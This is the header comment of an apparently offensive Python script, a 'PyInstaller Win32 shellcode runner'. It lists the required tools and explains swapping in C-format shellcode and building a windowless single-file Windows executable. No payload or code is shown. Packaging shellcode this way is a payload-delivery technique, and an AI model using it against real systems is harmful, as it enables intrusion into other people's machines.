# PyInstaller Win32 shellcode runner - by @mihi42
#
# Needed software:
# * Python 2.7.2 from 
#   <http://www.python.org/download/releases/>
# * PyWin32 build 217 for Python 2.7 from 
#   <http://sourceforge.net/projects/pywin32/files/pywin32/>
# * PyInstaller 1.5.1 from <http://www.pyinstaller.org/>
#
# Usage:
# * Install and configure the software above
# * Replace the shellcode below if desired (use output type
#   for C and change the first and last line)
# * Run PyInstaller to build an EXE file, using the switches
#   -w -a -F (and maybe more if you prefer)
